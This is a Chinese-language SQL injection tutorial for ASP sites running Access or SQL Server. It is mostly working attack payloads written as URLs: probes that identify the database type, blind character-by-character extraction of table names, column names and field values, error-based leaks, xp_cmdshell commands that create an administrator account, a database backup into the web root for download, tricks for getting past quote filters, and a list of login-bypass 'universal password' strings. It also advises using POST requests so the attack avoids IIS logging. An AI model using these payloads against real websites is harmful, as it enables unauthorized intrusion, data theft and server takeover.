通过连接数据库的引擎判断数据库类型:
Access:Microsoft JET Database Engine
SQLServer:Microsoft OLE DB Provider for SQL Server
如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错。
有些程序员只过滤了单引号,所以只用单引号测试,是测不到注入点的,可以用下列语句测试:
http://www.mytest.com/showdetail.asp?id=49 ;and 1=1
http://www.mytest.com/showdetail.asp?id=49 ;and 1=2
ASP一般搭配Access和SQLSever。
SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:
http://www.mytest.com/showdetail.asp?id=49 ;and user>0
user是SQLServer的一个内置变量,它的值时当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错。
如果是普通用户,SQLServer的出错提示是:将nvarchar值“bt”转换数据类型为int的列时发生语法错误;如果是sa用户,提示是:将“dbo”转换成int的列发生错误。
在服务器IIS不允许返回错误提示时判断数据库类型:
Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示”“没有权限“,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。
在确认可以注入的情况下,使用下面的语句:
http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0
http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0
如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.mytest.com/showdetail.asp?id=49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。
如果数据库是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同,第二个网址则视乎数据库设置是否允许读改系统表,一般来说是不允许的,所以与原网址也是完全不同。
大多数情况下,用第一个URL就可以得知系统所用的数据库类型(第一个返回跟原页差不多则是SQLServer,反之则Access),第二个URL只作为开启IIS错误提示时的验证。
根据注入参数类型,重构SQL语句的原貌,按参数类型主要分为下面三种:
ID=49,这类注入的参数是数字型,SQL语句原貌大致如下:
select * from 表名 where 字段=49
注入的参数为ID=49 and [查询条件],即生成语句:
select * from 表名 where 字段=49 and [查询语句]
class=连续剧,这类注入的参数是字符型:
select * from 表名 where 字段=‘连续剧‘
注入的参数为Class=连续剧’ and [查询条件] and ‘‘=’,即生成语句:
select * from 表名where 字段=’连续剧’ and [查询条件] and ‘‘=’’
搜索时没顾虑参数的,如keyword=关键字:
select * from 表名 where 字段 like ‘%关键字%‘
注入的参数为keyword=‘ and [查询条件] and ‘%25‘=‘,即生成语句:
select * from 表名 where 字段 like ‘%‘ and [查询条件] and ‘%‘=‘%‘
手工猜表名、字段名、字段值:
接着将查询条件替换成SQL语句,猜解表名,如:
ID=49 and (select Count(*) from Admin)>=0
如果页面就与ID=49的相同,说明条件成立,即表Admin存在,反之不存在。
猜出表名再猜解字段名,如:
ID=49 and (select Count(字段名) from Admin)>=0
猜出字段名再猜解字段值,一种最常用的方法—Ascii逐字解码法,虽然很慢,但是肯定可行:
假设:已知Admin中存在username字段
首先,取第一条记录,测试username的长度:
ID=49 ;and (select top 1 len(username) from Admin)>0
如果长度大于0,则条件成立。更换最后的数直到猜出第一条记录的username字段值得长度
得到字段值的长度后,逐位猜解字段值:
ID=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
第一位字符的ASCII码是否大于0,范围在1-128之间。
SQL注入常用函数:
Access:asc(字符) SQLServer:unicode(字符) 作用:返回某字符的ASCII码
Access:chr(数字) SQLServer:nchar(数字) 作用:与asc相反,根据ASCII码返回字符
Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L) 作用:返回字符串从N个字符起长度为L的自字符串,即N到N+L之间的字符串
Access:abc(数字) SQLServer:abc(数字) 作用:返回数字的绝对值(在猜解汉字的时候会用到)
Access:A between B and C SQLServer:A between B and C 作用:判断A是否界于B与C之间
中文处理方法:
Access:中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。
SQLServer:中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode()返回unicode值,再用nchar函数取得对应的中文字符。
利用系统表注入SQLServer数据库:
http://Site/url.asp?id=1;exec master..xp_cmdshell "net user name passwd /add"--
http://Site/url.asp?id=1;exec master..xp_cmdshell "net localgroup administrators name /add"--
这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。
http://Site/url.asp?id=1; and db_name()>0 返回连接的数据库名
http://Site/url.asp?id=1; backup database 数据库名 to disk=‘c:inetpubwwwroot1.db‘;--
拿到数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来。在不知道绝对路径的时候,还可以备份到网络地址的方法(如202.96.xx.xx/share/1.db),但成功率不高。
http://Site/url.asp?id=1; and (select top 1 name from sysobjects where xtype=‘U‘ and status>0)>0
sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=‘U‘ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来,第二、三...个表名也可以通过这种方法暴出来。
http://Site/url.asp?id=1; and (select top 1 col_name(object_id(‘表名‘),1) from sysobjects)>0
拿到表名后,用object_id(‘表名‘)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
绕过程序限制继续注入:
利用相关函数,达到绕过程序限制的目的。
过滤‘(单引号):
如where xtype=‘U‘,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=‘用户‘,可以用where name=nchar(29992)+nchar(25143)代替。
经验小结:
1.过滤没区分大小写:用混大小写测试,如 seLecT
2.由网站上的登录表单猜测字段名,一般为了方便起见,字段名都与表单的输入框取相同的名字。
3.地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号
4.用Get方法注入时,IIS会记录所有提交的字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。
5.猜解Access时只能用ASCII逐字解码法,SQLServer也可以用这种方法,只需要注意两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。
万能密码-绕过验证:
1: "or "a"="a
2: ‘)or(‘a‘=‘a
3:or 1=1--
4:‘or 1=1--
5:a‘or‘ 1=1--
6: "or 1=1--
7:‘or‘a‘=‘a
8: "or"="a‘=‘a
9:‘or‘‘=‘
10:‘or‘=‘or‘
11: 1 or ‘1‘=‘1‘=1
12: 1 or ‘1‘=‘1‘ or 1=1
13: ‘OR 1=1%00
14: "or 1=1%00